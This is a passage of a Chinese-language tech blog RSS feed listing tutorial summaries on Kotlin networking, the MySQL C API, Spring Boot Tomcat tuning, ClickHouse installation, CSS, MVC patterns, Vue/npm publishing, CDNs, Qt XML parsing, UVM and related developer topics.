      <description>一、执行一个请求。通过以上的内容学习，现在是时候去请求一些显示在RecyclerView上的真正的数据。我们将会使用OpenWeatherMap API来获取数据，还有一些普通类来现实这个请求。多亏Kotlin非常强大的互操作性，比如可以用Retrofit来执行服务器请求。点击测试&#xA;当只是执行一个简单的API请求，我们可以不使用任何第三方库来简单地实现。而且，Kotlin提供了一些扩展函数来让请求变得更简单。首先，我们要创建一个新的Request类：我们的请求很简单，就是接收一个url，然后读取结果并在logcat上打印json。实现非常简单，因为我们使用readText，这是Kotlin标准库中的扩展函数。这个方法不推荐用于返回结果很大的响应，但是在这个例子中使用没有一点问题。&#xA;如果你用这些代码去比较Java，你会发现我们仅使用标准库就节省了大量的代码。比如HttpURLConnection、BufferedReader和需要达到相同效果所必要的迭代结果，管理连接状态、reader等部分的代码。很明显，这些就是场景背后函数所作的事情，但是我们却不用关心。&#xA;二、在主线程以外执行请求。我们都知道HTTP请求不被允许在主线程中执行，否则它会抛出异常。这是因为阻塞住UI线程是一个非常差的体验。Android中通用的做法是使用异步任务AsyncTask，但这个也有不少缺陷。如果你使用不小心，AsyncTasks会非常危险，因为当运行到postExecute时，如果Activity已经被销毁了，这里就会崩溃。Anko提供了非常简单的DSL来处理异步任务，它满足大部分的需求。它提供了一个基本的async函数用于在其它线程执行代码，也可以选择通过调用uiThread的方式回到主线程。在子线程中执行请求如下这么简单：&#xA;UIThread有一个很不错的一点就是可以依赖于调用者。如果它是被一个Activity调用的，那么如果activity.isFinishing()返回true，则uiThread不会执行，这样就不会在Activity销毁的时候遇到崩溃的情况了。&#xA;点击获取测试key和secret&#xA;测试结果展示：</description>
    </item>
    <item>
      <title>用C语言API(常用)操作MySql数据库</title>
      <link>https://bchobby.github.io/posts/cf75e846e18abd85a2fa3df2ef5356a7/</link>
      <pubDate>Mon, 29 Aug 2022 00:08:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cf75e846e18abd85a2fa3df2ef5356a7/</guid>
      <description>连接数据库的步骤 MySql数据库是一个典型的C/S结构，包括客户端和服务器。当部署好了MySql服务器，想通过程序访问服务端的数据，在编写程序的时候，可以通过官方提供的C语言API来实现。&#xA;在程序中连接MySql服务器主要分为以下几个步骤：&#xA;初始化连接环境连接MySql服务器。需要提供如下连接数据： MySql服务器IP地址MySql服务器监听端口。默认是3306连接MySql服务器使用的用户名(默认是root)和对应用户的密码。需要操作的数据库名字连接已经建立，后续操作就是对数据库数据进行增删查改。 这些操作都需要通过sql语句来完成。数据的查询：通过调用api指定一个查询语句数据的修改(增/删/改)：通过调用api来执行修改数据的sql语句如果要进行事务的处理 需要对执行的结果进行判断。 成功：提交事务失败：数据回滚查询数据进行数据库的读操作，得到数据的结构集。遍历结构集，得到查询的数据。释放资源。 MySql C语言API 初始化数据库 MYSQL* mysql_init(MYSQL* mysql) 参数：mysql填写null&#xA;返回值：返回一个MYSQL初始化的新对象地址。可以用该指针来连接MySql服务器，并操作对应数据库。如果没有足够内存分配新对象，返回NULL。&#xA;实际是用结构体对MySql数据库进行描述，实例化并初始化该类型的对象，在内存中开辟空间。&#xA;连接MySql数据库 MYSQL* mysql_real_connect( MYSQL* mysql, //mysql_init()函数返回值 const char* host, //mysql服务器主机地址，写IP地址即可 //localhost，null 代表本地连接 const char* user, //连接mysql服务器的用户名，默认root const char* passwd, //对应用户名的密码 const char* db, //要操作的数据库名 unsigned int port, //连接的mysql服务器监听的端口 //==0使用默认端口3306， const char* unix_socket, //本地套接字，不使用指定为NULL unsigned long client_flag//通常指定为0 ); 作用：连接对应ip主机上对应端口的mysql服务。&#xA;返回值：&#xA;成功：返回MYSQL*连接句柄，与函数的第一个参数值相同。指向同一块空间。&#xA;失败：返回NULL&#xA;执行sql语句 int mysql_query(MYSQL* mysql, const char* query); 参数：&#xA;mysql：mysql_real_connect()返回值&#xA;query：增删查改的sql语句，结尾不需要加 &#39;;&#39;</description>
    </item>
    <item>
      <title>Springboot内置Tomcat线程数测试</title>
      <link>https://bchobby.github.io/posts/a0a38b25e4db7cf89c545bb4270efda8/</link>
      <pubDate>Sun, 28 Aug 2022 23:21:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a0a38b25e4db7cf89c545bb4270efda8/</guid>
      <description>SpringBoot 2.7.3&#xA;本文主要介绍SpringBoot内置Tomcat的主要参数，解析最大线程数和最大连接数的作用方式。SpringBoot各版本的参数配置可能不完全一样，本文以2.7.3版本为例进行试验。&#xA;一、默认配置 SpringBoot内置Tomcat的配置存放在 spring-configuration-metadata.json 文件中，配置以 server.tomcat 开头&#xA;最小线程数&#xA;# 最小工作空闲线程数，默认10 server.tomcat.threads.min-spare=10 最大线程数&#xA;# 最大工作线程数，默认200 server.tomcat.threads.max=200 最大连接数&#xA;# 最大连接数默认是8192 server.tomcat.max-connections=8192 队列长度&#xA;# 等待队列长度，默认100 server.tomcat.accept-count=100 二、测试各参数的作用 1、准备测试接口 import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; /** * Tomcat测试类 * * @author Administrator * @date 2022/8/28 */ @RestController @RequestMapping(&#34;/tomcat&#34;) public class TomcatController { /** * localhost:8080/tomcat/getString * * @return */ @RequestMapping(&#34;/getString&#34;) public String getString() { try { // 将线程挂起3秒，方便观察结果 Thread.sleep(3000); } catch (InterruptedException e) { e.</description>
    </item>
    <item>
      <title>clickhouse centos7安装</title>
      <link>https://bchobby.github.io/posts/2745a61b7219720df348c72035364fc0/</link>
      <pubDate>Sun, 28 Aug 2022 20:24:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2745a61b7219720df348c72035364fc0/</guid>
      <description>参考：&#xA;安装 | ClickHouse Docs&#xA;[root@node2 local]# cd clickhouse/ [root@node2 clickhouse]# ll 总用量 0 [root@node2 clickhouse]# ll 总用量 0 [root@node2 clickhouse]# sudo yum install -y yum-utils 已加载插件：langpacks, product-id, search-disabled-repos, subscription-manager This system is not registered with an entitlement server. You can use subscription-manager to register. base | 3.6 kB 00:00:00 docker-ce | 3.5 kB 00:00:00 docker-ce-stable | 3.5 kB 00:00:00 extras | 2.9 kB 00:00:00 updates | 2.9 kB 00:00:00 (1/3): docker-ce-stable/x86_64/primary_db | 81 kB 00:00:00 (2/3): docker-ce/x86_64/primary_db | 81 kB 00:00:01 (3/3): updates/7/x86_64/primary_db | 17 MB 00:00:29 软件包 yum-utils-1.</description>
    </item>
    <item>
      <title>超好看的个人主页官网源码&#43;带动态特效</title>
      <link>https://bchobby.github.io/posts/6bbcfb880dc1257ed2ae65a56faa2bd0/</link>
      <pubDate>Sun, 28 Aug 2022 15:59:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6bbcfb880dc1257ed2ae65a56faa2bd0/</guid>
      <description> 正文: 这款个人主页源码感觉是我有史以来见过最好看的，功能和页面也比较多，简约又不失格调。&#xA;官网带动态特效视频源码，修改主页文件即可。&#xA;程序: wwvwd.lanzouw.com/i6RWe0ag8gde&#xA;图片: </description>
    </item>
    <item>
      <title>21、前端开发：CSS知识总结——transform变形属性</title>
      <link>https://bchobby.github.io/posts/020f99e5b58e13b73efd8fc0047e8e1c/</link>
      <pubDate>Sun, 28 Aug 2022 15:52:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/020f99e5b58e13b73efd8fc0047e8e1c/</guid>
      <description>1、属性定义 Transform属性应用于元素的2D或3D转换。这个属性允许你将元素旋转，缩放，移动，倾斜等。可以改变元素的形状或位置，不会影响到页面的布局。&#xA;2、语法 transform: none|transform-functions;&#xA;值描述none定义不进行转换。matrix(n,n,n,n,n,n)定义 2D 转换，使用六个值的矩阵。matrix3d(n,n,n,n,n,n,n,n,n,n,n,n,n,n,n,n)定义 3D 转换，使用 16 个值的 4x4 矩阵。translate(x,y)定义 2D 转换。translate3d(x,y,z)定义 3D 转换。translateX(x)定义转换，只是用 X 轴的值。translateY(y)定义转换，只是用 Y 轴的值。translateZ(z)定义 3D 转换，只是用 Z 轴的值。scale(x[,y]?)定义 2D 缩放转换。scale3d(x,y,z)定义 3D 缩放转换。scaleX(x)通过设置 X 轴的值来定义缩放转换。scaleY(y)通过设置 Y 轴的值来定义缩放转换。scaleZ(z)通过设置 Z 轴的值来定义 3D 缩放转换。rotate(angle)定义 2D 旋转，在参数中规定角度。rotate3d(x,y,z,angle)定义 3D 旋转。rotateX(angle)定义沿着 X 轴的 3D 旋转。rotateY(angle)定义沿着 Y 轴的 3D 旋转。rotateZ(angle)定义沿着 Z 轴的 3D 旋转。skew(x-angle,y-angle)定义沿着 X 和 Y 轴的 2D 倾斜转换。skewX(angle)定义沿着 X 轴的 2D 倾斜转换。skewY(angle)定义沿着 Y 轴的 2D 倾斜转换。perspective(n)为 3D 转换元素定义透视视图。 扩展：水平垂直居中（宽高位置的情况下） position：absolute；</description>
    </item>
    <item>
      <title>MVC, MVP, MVVM比较以及区别</title>
      <link>https://bchobby.github.io/posts/96f3b686bdfcd036285a86a49f22323e/</link>
      <pubDate>Sun, 28 Aug 2022 12:06:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/96f3b686bdfcd036285a86a49f22323e/</guid>
      <description>MVC, MVP和MVVM都是用来解决界面呈现和逻辑代码分离而出现的模式。以前只是对它们有部分的了解，没有深入的研究过，对于一些里面的概念和区别也是一知半解。现在一边查资料，并结合自己的理解，来谈一下对于这三种模式思想的理解，以及它们的区别。欢迎各位高手拍砖。&#xA;阅读目录:&#xA;一. MVC, MVP, MVVM诞生的需求?&#xA;二. 一段典型的耦合代码&#xA;三. MVC模式&#xA;3.1 主动MVC&#xA;3.2 被动MVC&#xA;3.3 Web应用中的MVC框架&#xA;3.4 MVC总结&#xA;一，MVC, MVP, MVVM诞生的需求? 软件中最核心的，最基本的东西是什么? 是的，是数据。我们写的所有代码，都是围绕数据的。&#xA;围绕着数据的产生、修改等变化，出现了业务逻辑。&#xA;围绕着数据的显示，出现了不同的界面技术。 没有很好设计的代码，常常就会出现数据层(持久层)和业务逻辑层还有界面代码耦合的情况。&#xA;ORM等框架，解耦合了业务逻辑和数据之间的耦合，业务逻辑不再关心底层数据如何存储和读取。所有数据呈现给业务逻辑层的就是一个个的对象。&#xA;而MVC, MVP, MMVM用来解决业务逻辑和视图之间的耦合。&#xA;二，一段典型的耦合代码 { SqlDataAdapter adapter = new SqlDataAdapter(&#34;select * from Table1&#34;,&#34;server=.;database=db;uid=sa;pwd=password&#34;); DataSet ds = new DataSet(&#34;ds1&#34;); adapter.Fill(ds); this.GridView1.DataSource = ds; this.GridView1.DataBind(); } 上面的这段代码中，既包含了数据访问，还包含的页面展示。当项目复杂程度更高，这种代码就会变得非常难以维护，层次也不清晰。&#xA;三，MVC模式 MVC全名是Model View Controller，是模型(model)－视图(view)－控制器(controller)的缩写。MVC开始是存在于桌面程序中的，M是指业务模型，V是指用户界面，C则是控制器，使用MVC的目的是将M和V的实现代码分离，从而使同一个程序可以使用不同的表现形式&#xA;3.1 主动MVC MVC的理论思想对应的是主动MVC, 这里的主动的意思是, Model会主动通知View更新。而我们使用MVC框架, Struts, asp.net mvc等都不是主动MVC(视图的更新都是通过Controller完成的)&#xA;Model&#xA;用于封装与应用程序的业务逻辑相关的数据以及对数据的处理方法。&#xA;模型中数据的变化一般会通过一种刷新机制被公布。为了实现这种机制，那些用于监视此模型的视图必须事先在此模型上注册，从而，视图可以了解在数据模型上发生的改变。&#xA;View</description>
    </item>
    <item>
      <title>Jmeter如何做响应断言</title>
      <link>https://bchobby.github.io/posts/88e6ece949bea7f76e40ba825e0260cb/</link>
      <pubDate>Sat, 27 Aug 2022 20:19:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/88e6ece949bea7f76e40ba825e0260cb/</guid>
      <description>一、首先新建测试计划-文件-新建&#xA;二、创建线程组-在测试计划-右击-添加-线程组用户-线程组&#xA;三、在线程组底下添加取样器http请求-在线程组-右击添加-取样器-HTTP请求&#xA;四、给HTTP请求注释一下这个http的请求是干嘛用的&#xA;五、再HTTP请求添加响应断言（右击HTTP请求-选择添加-断言-响应断言）&#xA;六、在HTTP请求里面添加请求的url，域名，端口，协议&#xA;七、响应断言的属性说明&#xA;八、例子-对百度的请求-响应的文本进行断言-可在响应断言里面添加多个预期结果&#xA;九、添加查看结果树-线程组-右键-添加-监听器-察看结果树&#xA;十、运行-在查看结果树中查看断言结果</description>
    </item>
    <item>
      <title>Vue 如何将封装好的UI组件库打包发布到npm</title>
      <link>https://bchobby.github.io/posts/3a4dc301b81d1baed4456a011d543682/</link>
      <pubDate>Sat, 27 Aug 2022 11:52:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3a4dc301b81d1baed4456a011d543682/</guid>
      <description>目录 一、目录调整二、更改配置项三、vue.js插件四、导入测试五、打包六、发布到npm 一、目录调整 根目录创建两个文件夹packages和examples packages：用于存放所有的组件（把components中所有的组件放入到packages中），该文件夹主要用于打包发布。&#xA;examples：用于进行测试（这里是把src改成examples）。&#xA;二、更改配置项 更改目录结构后，vue项目是无法启动的，此时需更改配置项。&#xA;在根目录下新建文件vue.config.js，配置内容如下： const path = require(&#39;path&#39;); module.exports = { lintOnSave: false, pages: { index: { // 修改项目入口文件 entry: &#39;examples/main.js&#39;, template: &#39;public/index.html&#39;, filename: &#39;index.html&#39;, }, }, // 扩展webpack配置，使packages加入编译 // 高版本js语法转为低版本 chainWebpack: config =&amp;gt; { config.module .rule(&#39;js&#39;) .include.add(path.resolve(__dirname, &#39;packages&#39;)) .end() .use(&#39;babel&#39;) .loader(&#39;babel-loader&#39;) .tap(options =&amp;gt; { // 修改它的选项 return options; }); }, }; 三、vue.js插件 上诉中提到packages文件夹是用于打包发布的，但是如何将该文件夹打包发布呢？此时需要了解vue.use(plugin)。这里不做太多说明，可自行翻阅官方文档。具体实现如下。&#xA;在packages文件夹下新建index.js文件，该文件作为整个包的入口文件，内容如下： // 定义 install 方法，接受 Vue 作为参数，如果使用 use 注册插件，则所有的组件都将被注册 // 导入组件 import Button from &#39;.</description>
    </item>
    <item>
      <title>简单易懂CDN 的技术原理！</title>
      <link>https://bchobby.github.io/posts/5c5dc1e7c60d9132872f84830a8e0f60/</link>
      <pubDate>Fri, 26 Aug 2022 20:40:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5c5dc1e7c60d9132872f84830a8e0f60/</guid>
      <description>来源公众号：计算机网络工程师&#xA;来源链接 https://mp.weixin.qq.com/s/0g67mC-G-DvG9JBdr8hnMQ&#xA;对于 CDN 这个东西，相信大家都有耳闻，感觉既陌生但又熟悉。最近深入了解了一下 CDN，这才发现原来它如此重要！今天就跟大家分享下关于 CDN 的那些事儿。&#xA;浏览器的网络请求 要理解 CDN 这件事情，我们就得先理解浏览器发出一个请求的过程是怎样的，其整体过程如下图所示。&#xA;1.用户在浏览器中输入要访问的网址域名。&#xA;2.浏览器向本地 DNS 服务器请求对域名的解析。&#xA;3.如果本地 DNS 服务器有域名的解析结果，那么直接响应用户请求，返回该域名对应的 IP 地址。&#xA;4.如果本地 DNS 服务器没有域名的解析结果，那么则会递归地向 DNS 系统请求解析，随后将该结果返回给用户。&#xA;5.浏览器得到域名解析结果后，其实也就是域名对应的 IP 地址。&#xA;6.随后浏览器向服务器请求内容。&#xA;7.服务器将用户请求内容返回给浏览器。&#xA;通过这么复杂的步骤，用户就可以看到页面内容了。但实际上，在第 6、7 这两步的时候，其中间也经过了非常复杂的过程。为了更清晰地表述，我们可以将这个过程分为 3 个主要节点，如下图所示。&#xA;网站服务器通过公网出口，再通过长途骨干网，最后通过用户的宽带广猫到达用户所在的局域网，最终才到达用户电脑的浏览器。&#xA;其中长途骨干网的传输是最为耗时的，它需要经过网站服务器所在的机房、骨干网、用户所在城域网、用户所在接入网等，其物理传输距离非常遥远。&#xA;在这种情况下，如果传输的数据非常多，访问的用户特别大，那么就会出现很长的延时，影响用户体验。同时，每请求一次数据都需要经过漫长的数据传输，对于长途骨干网来说，都是一次负担。&#xA;刚刚说的这个场景，很形象的一个例子是春节抢票的场景。当我们春节抢票时，我们都会登陆 12306 网站，网站上肯定有不少图片资源。这时候可能同时会有 1 个亿的人，同时去请求一张一模一样的图片。&#xA;这时候如果我们都按照上面的过程去请求一次图片数据，那么将会产生 1 亿次的网络数据传输，这对于我们整个国家的互联网基础设施是个灾难啊！&#xA;但事实情况是：12306 貌似也没有挂掉呀！&#xA;那么他们是如何解决这个问题呢？答案就是：CDN！&#xA;什么是 CDN ？ 其实 CDN 就是内容分发网络的意思，其英文全称为 Content Delivery Network。简单地说，CDN 可以提前把数据存在离用户最近的数据节点，从而避免长途跋涉经过长途骨干网，最终达到减少骨干网负担、提高访问速度的目的。&#xA;按照我们上面的场景，如果没有 CDN 的话，每次请求都需要从网站服务器经过公网出口、长途骨干网、用户接入局域网，最终到达浏览器。但是当有了 CDN 之后，可能就变成了下面这样：&#xA;浏览器请求图片数据时，会先去 CDN 缓存服务器获取。如果获取到数据，那么就直接返回。否则才会经过长途骨干网，最终到达网站服务器获取图片数据。那么只要我们提前在 CDN 缓存服务器上传图片，那么我们就可以极大地减少网络流量，同时减少网络延迟。</description>
    </item>
    <item>
      <title>QT之XML文件解析DOM</title>
      <link>https://bchobby.github.io/posts/d24761ce119681d2175094f784a9d99e/</link>
      <pubDate>Fri, 26 Aug 2022 20:30:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d24761ce119681d2175094f784a9d99e/</guid>
      <description>Qt之XML文件解析(DOM) XML简介 ​ 和HTML的语法很相似，但不同之处在于： HTML 被设计用来显示数据，其关注的是数据的外观，XML 被设计用来传输和存储数据，其关注的是数据的内容，因此，XML主要用来作为数据的存储和共享。&#xA;​ XML文档是一种树的结构，从根部扩展到枝叶。以下是一个XML示例&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;root&amp;gt; &amp;lt;!--写入矩形图元的信息--&amp;gt; &amp;lt;class name=&#34;Rect&#34;&amp;gt; &amp;lt;object name=&#34;obj1&#34;&amp;gt; &amp;lt;x1&amp;gt;10&amp;lt;/x1&amp;gt; &amp;lt;y1&amp;gt;10&amp;lt;/y1&amp;gt; &amp;lt;x2&amp;gt;50&amp;lt;/x2&amp;gt; &amp;lt;y1&amp;gt;50&amp;lt;/y1&amp;gt; &amp;lt;linewidth&amp;gt;2&amp;lt;/linewidth&amp;gt; &amp;lt;scale&amp;gt;0&amp;lt;/scale&amp;gt; &amp;lt;rotate&amp;gt;0&amp;lt;/rotate&amp;gt; &amp;lt;/object&amp;gt; &amp;lt;/class&amp;gt; &amp;lt;/root&amp;gt; 其中第一行 是XML 声明。它定义 XML 的版本和所使用的编码格式，&amp;lt;root&amp;gt; &amp;lt;/root&amp;gt;为根节点的起始（在XML中可以自定义节点名称），&amp;lt;class&amp;gt; &amp;lt;/class&amp;gt;为子元素，其中name为其属性，值为Rect；每一个子元素都可以拥有子元素，故class的子元素为object，依次类推； 所有的元素都可以有文本内容和属性，如x1的文本为10，x2的文本为50。&#xA;DOM类介绍 Classes说明QDomAttr表示 QDomElement 的一个属性QDomCDATASection表示 XML CDATA 部分QDomCharacterData表示 DOM 中的通用字符串QDomComment表示 XML 注释QDomDocument表示一个 XML 文档QDomDocumentFragmentQDomNodes 树，不是完整的QDomDocumentQDomDocumentTypeDTD 在文档树中的表示QDomElement表示 DOM 树中的一个元素QDomEntity表示一个 XML 实体QDomEntityReference表示 XML 实体引用QDomImplementation有关 DOM 实现的功能的信息QDomNamedNodeMap包含可以按名称访问的节点集合QDomNodeDOM 树中所有节点的基类QDomNodeListQDomNode 对象列表QDomNotation表示 XML 表示法QDomProcessingInstruction表示 XML 处理指令QDomText表示解析的 XML 文档中的文本数据 其相关继承关系如下：&#xA;一个XML文档如果只做保存数据使用，那么以下XML的构成就足够使用了</description>
    </item>
    <item>
      <title>关于宏`uvm_info和$display的区别</title>
      <link>https://bchobby.github.io/posts/00601a4e0f70326aa0c8b8b7a7cd296b/</link>
      <pubDate>Fri, 26 Aug 2022 20:27:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/00601a4e0f70326aa0c8b8b7a7cd296b/</guid>
      <description>1、$display $display可以直接打印一条文本信息，并在每一次$display执行后会自动换行，比如：&#xA;`timescale 1ns/1ns module test_tb(); initial begin $display(&#34;I am display1&#34;); $display(&#34;I am display2&#34;); end endmodule 打印结果：&#xA;I am display1&#xA;I am display2&#xA;2、`uvm_info `uvm_info的功能与$display语句的功能相似，但比display更加灵活，以下是`uvm_info的格式：&#xA;`uvm_info(&#34;A&#34;,&#34;I am uvm_info&#34;,UVM_LOW) `uvm_info有以下三种格式：&#xA;`uvm_info(&#34;TRACE&#34;,$sformatf(&#34;%m&#34;),UVM_HIGH)`uvm_info(&#34;TRACE&#34;,$sformatf(&#34;port_id value of %0d&#34;,port_id),UVM_HIGH)`uvm_info(&#34;TRACE&#34;,{&#34;\n&#34;,req.sprint()},UVM_HIGH) 第一个参数是字符串，用于把打印的信息归类。第二个参数也是字符串，是具体需要打印的信息，第三个参数则是冗余级别。冗余级别为UVM_LOW,表示信息非常关键，冗余级别为UVM_HIGH，表示信息可有可无，UVM_MEDIUM介于这两者之间。</description>
    </item>
    <item>
      <title>Windows常用快捷键与查询命令</title>
      <link>https://bchobby.github.io/posts/7f78e1cbbef1dbf2c32a802028d3b390/</link>
      <pubDate>Fri, 26 Aug 2022 19:58:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7f78e1cbbef1dbf2c32a802028d3b390/</guid>
      <description>Windows快捷键&#xA;1. Win&#xA;Win # 开始 Win + Tab # 时间轴 Win + T # 切换Tab Win + A # 操作中心 Win + D # 清屏 Win + E # 快速访问 Win + F # 反馈中心 Win + I # Windows设置 Win + K # 连接 Win + L # 锁屏 Win + M # 关闭所有 Win + P # 投影 Win + Q | S # 打开搜索（cmd右击以管理员身份运行） Win + R # 运行 Win + U # 设置 Win + V # 粘贴板 Win + W # 笔和windows link设置 Win + X # 开始菜单 2.</description>
    </item>
    <item>
      <title>深入解析MySQL分区（Partition）功能</title>
      <link>https://bchobby.github.io/posts/21a3fc4fae5ee8443e2ff256697ceb67/</link>
      <pubDate>Fri, 26 Aug 2022 18:37:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/21a3fc4fae5ee8443e2ff256697ceb67/</guid>
      <description>= 水平分区（根据列属性按行分）=&#xA;举个简单例子：一个包含十年发票记录的表可以被分区为十个不同的分区，每个分区包含的是其中一年的记录。&#xA;水平分区的模式：&#xA;Range（范围） – 这种模式允许DBA将数据划分不同范围。例如DBA可以将一个表通过年份划分成三个分区，80年代（1980’s）的数据，90年代（1990’s）的数据以及任何在2000年（包括2000年）后的数据。&#xA;Hash（哈希） – 这种模式允许DBA通过对表的一个或多个列的Hash Key进行计算，最后通过这个Hash码不同数值对应的数据区域进行分区。例如DBA可以建立一个对表主键进行分区的表。&#xA;Key（键值） – Hash模式的一种延伸，这里的Hash Key是MySQL系统产生的。&#xA;List（预定义列表） – 这种模式允许系统通过DBA定义的列表的值所对应的行数据进行分割。例如：DBA建立了一个横跨三个分区的表，分别根据2004年2005年和2006年值所对应的数据。&#xA;Composite（复合模式） - 很神秘吧，哈哈，其实是以上模式的组合使用而已，就不解释了。举例：在初始化已经进行了Range范围分区的表上，我们可以对其中一个分区再进行hash哈希分区。&#xA;垂直分区（按列分）：&#xA;举个简单例子：一个包含了大text和BLOB列的表，这些text和BLOB列又不经常被访问，这时候就要把这些不经常使用的text和BLOB了划分到另一个分区，在保证它们数据相关性的同时还能提高访问速度。&#xA;分区表和未分区表试验过程&#xA;*创建分区表,按日期的年份拆分&#xA;复制代码&#xA;复制代码&#xA;mysql&amp;gt; CREATE TABLE part_tab (&#xA;c1 int default NULL,&#xA;c2 varchar(30) default NULL,&#xA;c3 date default NULL&#xA;) engine=myisam&#xA;PARTITION BY RANGE (year(c3)) (PARTITION p0 VALUES LESS THAN (1995),&#xA;PARTITION p1 VALUES LESS THAN (1996) , PARTITION p2 VALUES LESS THAN (1997) ,</description>
    </item>
    <item>
      <title>UVM—virtual sequencer and virtual sequence详解</title>
      <link>https://bchobby.github.io/posts/607327000e12b33b3afe4f1a9b1f96a1/</link>
      <pubDate>Fri, 26 Aug 2022 18:20:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/607327000e12b33b3afe4f1a9b1f96a1/</guid>
      <description>目录&#xA;1、前言&#xA;2、virtual sequencer使用环境&#xA;3、 virtual sequencer 和virtual sequence的作用&#xA;4、m_sequencer与p_sequencer&#xA;4.1 m_sequencer&#xA;4.2 p_sequencer&#xA;5、实例&#xA;1、前言 在UVM里Sequence层次化这一块是重点，这里主要介绍virtual sequence。 对于顶层的测试环境， 测试序列所要协调的不再只是面向一个sequencer的sequence群，而是要面向多个sequencer的sequence群， 面向不同sequencer的sequence群如何挂载到不同的sequencer上呢？ 这就需要用到virtual sequence和virtual sequencer来解决。对于单一的sequencer下的sequence群，其挂接较为简单，通过uvm_sequence::start()来挂载root sequence，而在内部的child sequence可以通过宏`uvm_do()来实现。&#xA;2、virtual sequencer使用环境 考虑到环境的可扩展性，一般会在一开始生成环境的时候就把virtual sequencer给加上。即使暂时用不到，也比以后再去加的要好。而且目前的验证环境大部分是脚本生成的，加virtual sequencer其实也不存在什么额外的工作量 。&#xA;使用条件：&#xA;环境中只有一个driver agent，此时不需要virtual sequencer；环境中有多个driver_agent，但是这些driver之间不需要同步，此时不需要virtual sequencer；环境中有多个driver_agent，且这些driver之间需要同步，此时需要virtual sequencer。 3、 virtual sequencer 和virtual sequence的作用 virtual sequence：承载不同目标sequencer的sequence群落，实现sequence同步；virtual sequence一般只会挂载到virtual sequencer上，且没有自己的sequence_item,只用于控制其他的sequence执行顺序，起统一调度作用。virtual sequencer：桥接其它sequencer，即连接所有底层sequencer的句柄(指针)，是一个中心化的路由器。virtual sequencer本身并不传送item数据对象，因此不需要与driver进行TLM连接。所以用户需在顶层的connect阶段做好virtual sequencer中各个sequencer句柄与sequencer实体对象的一一连接，避免句柄悬空。 virtual sequencer和(real) sequencer都继承自uvm_sequencer；&#xA;virtual sequence 和(real) sequence 都继承自uvm_sequence；&#xA;virtual sequence/sequencer的virtual主要是指这种sequence/sequencer不像直接作用在具体driver上的sequence/sequencer，它不处理具体的transaction，主要是来做不同类型sequence间的控制和调度的。&#xA;4、m_sequencer与p_sequencer 4.1 m_sequencer 当我们使用宏`uvm_do或者xxx_seq.start(sqr)方法启动sequence后（当sequence和sequencer关联后），sequence内部自有的m_sequencer句柄就自动地指向了对应的sequencer上了。这个操作是start()方法内部实现的，对用户不可见，因此一般我们都不会直接去操作m_sequencer变量。事实上，uvm中直接以&#39;m_&#39;开头的变量都不应该直接被用户使用。&#xA;但通过m_sequencer不能直接使用seqr里的变量，否则会出现编译错误。只能使用cast强制向子类转换后，才能通过m_sequencer.xxx来访问该seqr内的xxx变量。&#xA;4.2 p_sequencer 与m_sequencer变量作用相反，p_sequencer变量就是为了方便用户而提供的。p_sequencer变量需要用户使用宏`uvm_declare_p_sequencer去定义和设置。&#xA;`uvm_declare_p_sequencer宏一般在sequence的内部使用，主要完成以下两件事情：</description>
    </item>
    <item>
      <title>vue3 elementui-plus的input框点击弹窗</title>
      <link>https://bchobby.github.io/posts/f15455b1de2ce9c5146dc2d9ac77ee94/</link>
      <pubDate>Fri, 26 Aug 2022 16:58:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f15455b1de2ce9c5146dc2d9ac77ee94/</guid>
      <description>1. 需求 点击如图input框：&#xA;出现如图选择器弹框：&#xA;2. 踩坑 我尝试了获取焦点时的方法@focus，但是每次在点击弹框的“确定”按钮后，input框都会自动聚焦，弹框又自动出现了，我就想通过blur()方法主动失焦，但是失败了：&#xA;2.1 获取ref元素 2.2 获取ref结果 按理来说，我可以打印出input框元素，但是不知道哪里出现了问题，ref始终为null，麻烦知道的朋友评论告诉我一下TAT&#xA;3. 解决方式 既然无法通过ref来主动失焦，那我就直接给input框添加点击事件，不通过焦点来控制弹窗的显示了，之前想的太复杂了，直接用@click就可以了…</description>
    </item>
    <item>
      <title>使用easyexcel将图片批量写入excel</title>
      <link>https://bchobby.github.io/posts/a42b7598d93f2bfc104d73b03d39ec66/</link>
      <pubDate>Fri, 26 Aug 2022 16:23:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a42b7598d93f2bfc104d73b03d39ec66/</guid>
      <description>public class Tupian { public static void main(String[] args) throws MalformedURLException { String fileName = &#34;E:\\image.xlsx&#34;; String path = &#34;D:\\2022\\1022\\&#34;; File file = new File(path); System.out.println(file.isDirectory()); ArrayList&amp;lt;ImageData&amp;gt; list = new ArrayList&amp;lt;&amp;gt;(); File[] files = file.listFiles(); for (File image : files) { // System.out.println(image.getName()); if(image.getName().endsWith(&#34;.jpg&#34;)){ // list.add(image); ImageData imageData = new ImageData(); imageData.setUrl(new URL(&#34;file:/D:\\2022\\1022\\&#34;+image.getName())); list.add(imageData); } // } EasyExcel.write(fileName, ImageData.class).sheet().doWrite(list); } public static void test01() throws MalformedURLException { //生成excel的路径 String fileName = &#34;</description>
    </item>
    <item>
      <title>springboot中使用配置文件解耦合</title>
      <link>https://bchobby.github.io/posts/9cf2be3d9e48b31d0822f18c69bc230a/</link>
      <pubDate>Fri, 26 Aug 2022 16:05:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9cf2be3d9e48b31d0822f18c69bc230a/</guid>
